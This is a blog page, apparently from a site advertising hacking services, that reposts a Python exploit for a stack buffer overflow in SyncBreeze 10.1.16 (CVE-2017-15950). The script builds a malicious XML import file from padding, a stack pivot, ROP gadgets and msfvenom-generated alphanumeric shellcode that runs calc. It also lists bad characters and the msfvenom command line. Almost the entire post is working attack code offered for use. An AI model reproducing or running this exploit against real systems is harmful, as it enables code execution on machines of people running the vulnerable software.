Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86390258

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow
# Date: 03/27/2021
# Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafael Machado  - nnszs[at]protonmail.com
# Vendor: https://www.syncbreeze.com/
# Software Link: https://www.4shared.com/file/57pE4sZfiq/syncbreeze_setup_v10116.html
# Version: SyncBreeze v10.1.16 x86
# Tested on: Windows 10 x64 (19042.867)
# CVE: CVE-2017-15950

Usage: The exploit will generate a POC file, called xplSyncBreeze.xml. Launch the application and click on Import Command, then load the POC file. 

# -*- coding: utf-8 -*-
    
import struct

# badchars
#\x00\x0a\x0d\x20\x27
#\x81\x82\x83\x84\x85\x86\x87\x88
#\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90
#\x91\x92\x93\x94\x95\x96\x97\x98
#\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0
#\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8
#\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0
#\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8
#\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0
#\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8
#\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0
#\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8
#\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0
#\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8
#\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0
#\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8
#\xF9\xFA\xFB\xFC\xFD\xFE\xFF

# Shellcode payload size: 432 bytes
# msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=EAX -b '\x00\x0A\x0D\x20\x27' -v shellcode -f python

shellcode =  b""
shellcode += b"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x69"
shellcode += b"\x78\x4e\x62\x75\x50\x77\x70\x35\x50\x45\x30"
shellcode += b"\x4b\x39\x59\x75\x55\x61\x39\x50\x52\x44\x4e"
shellcode += b"\x6b\x42\x70\x50\x30\x6e\x6b\x42\x72\x54\x4c"
shellcode += b"\x6c\x4b\x70\x52\x74\x54\x4c\x4b\x62\x52\x66"
shellcode += b"\x48\x44\x4f\x48\x37\x61\x5a\x51\x36\x45\x61"
shellcode += b"\x39\x6f\x6e\x4c\x75\x6c\x43\x51\x71\x6c\x65"
shellcode += b"\x52\x56\x4c\x47\x50\x4b\x71\x38\x4f\x74\x4d"
shellcode += b"\x37\x71\x49\x57\x38\x62\x7a\x52\x52\x72\x36"
shellcode += b"\x37\x4c\x4b\x63\x62\x42\x30\x6c\x4b\x31\x5a"
shellcode += b"\x57\x4c\x4c\x4b\x32\x6c\x36\x71\x31\x68\x4a"
shellcode += b"\x43\x47\x38\x47\x71\x4a\x71\x76\x31\x6c\x4b"
shellcode += b"\x36\x39\x67\x50\x66\x61\x58\x53\x4c\x4b\x70"
shellcode += b"\x49\x66\x78\x59\x73\x34\x7a\x53\x79\x6e\x6b"
shellcode += b"\x50\x34\x4c\x4b\x66\x61\x4e\x36\x55\x61\x39"
shellcode += b"\x6f\x4c\x6c\x4a\x61\x4a\x6f\x34\x4d\x67\x71"
shellcode += b"\x48\x47\x67\x48\x69\x70\x71\x65\x59\x66\x54"
shellcode += b"\x43\x63\x4d\x79\x68\x75\x6b\x73\x4d\x67\x54"
shellcode += b"\x44\x35\x79\x74\x72\x78\x4e\x6b\x53\x68\x71"
shellcode += b"\x34\x57\x71\x5a\x73\x52\x46\x6c\x4b\x36\x6c"
shellcode += b"\x72\x6b\x6c\x4b\x76\x38\x75\x4c\x67\x71\x68"
shellcode += b"\x53\x6e\x6b\x57\x74\x4e\x6b\x63\x31\x78\x50"
shellcode += b"\x6f\x79\x73\x74\x47\x54\x64\x64\x53\x6b\x31"
shellcode += b"\x4b\x63\x51\x50\x59\x63\x6a\x43\x61\x39\x6f"
shellcode += b"\x59\x70\x73\x6f\x31\x4f\x62\x7a\x4e\x6b\x44"
shellcode += b"\x52\x6a\x4b\x4e\x6d\x53\x6d\x73\x5a\x63\x31"
shellcode += b"\x4c\x4d\x4d\x55\x6f\x42\x75\x50\x47\x70\x33"
shellcode += b"\x30\x46\x30\x50\x68\x74\x71\x6c\x4b\x42\x4f"
shellcode += b"\x6e\x67\x39\x6f\x6e\x35\x6f\x4b\x58\x70\x78"
shellcode += b"\x35\x79\x32\x46\x36\x33\x58\x79\x36\x4c\x55"
shellcode += b"\x4f\x4d\x6d\x4d\x39\x6f\x6a\x75\x55\x6c\x63"
shellcode += b"\x36\x61\x6c\x45\x5a\x6d\x50\x49\x6b\x39\x70"
shellcode += b"\x32\x55\x75\x55\x6d\x6b\x57\x37\x64\x53\x74"
shellcode += b"\x32\x52\x4f\x50\x6a\x53\x30\x61\x43\x59\x6f"
shellcode += b"\x78\x55\x73\x53\x30\x61\x30\x6c\x72\x43\x43"
shellcode += b"\x30\x41\x41"


# padding to crash buffer
basura = struct.pack('<L', 0x41414141) * 390

# gadgets to move payload pointer into EAX
GAD1 = struct.pack('<L', 0x65235465) # XCHG EAX,EBP
GAD2 = struct.pack('<L', 0x6506537C) # CALL EAX

# padding to reach buffer address stored in ebp
basura2 = struct.pack('<L', 0x41414141) * 56

# padding for stack pivot

padding = struct.pack('<L', 0x41414141) * 4
padding2 = struct.pack('<L', 0x41414141) * 20

# stack pivot to reach an area with more space for gadgets on the stack
# 0x6506491c: add esp, 0x48 ; pop edi ; pop esi ; ret

pivot = struct.pack('<L', 0x6506491c)

# final payload

fruta = basura + pivot + padding + padding2 + GAD1 + GAD2 + basura2 + shellcode


# write payload to xml file

payload = open("xplSyncBreeze.xml", "wb")
payload.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n".encode('utf-8'))

payload.write("<sync name='".encode('utf-8'))
payload.write(fruta)
payload.write("'>\n</sync>\n".encode('utf-8'))

payload.close()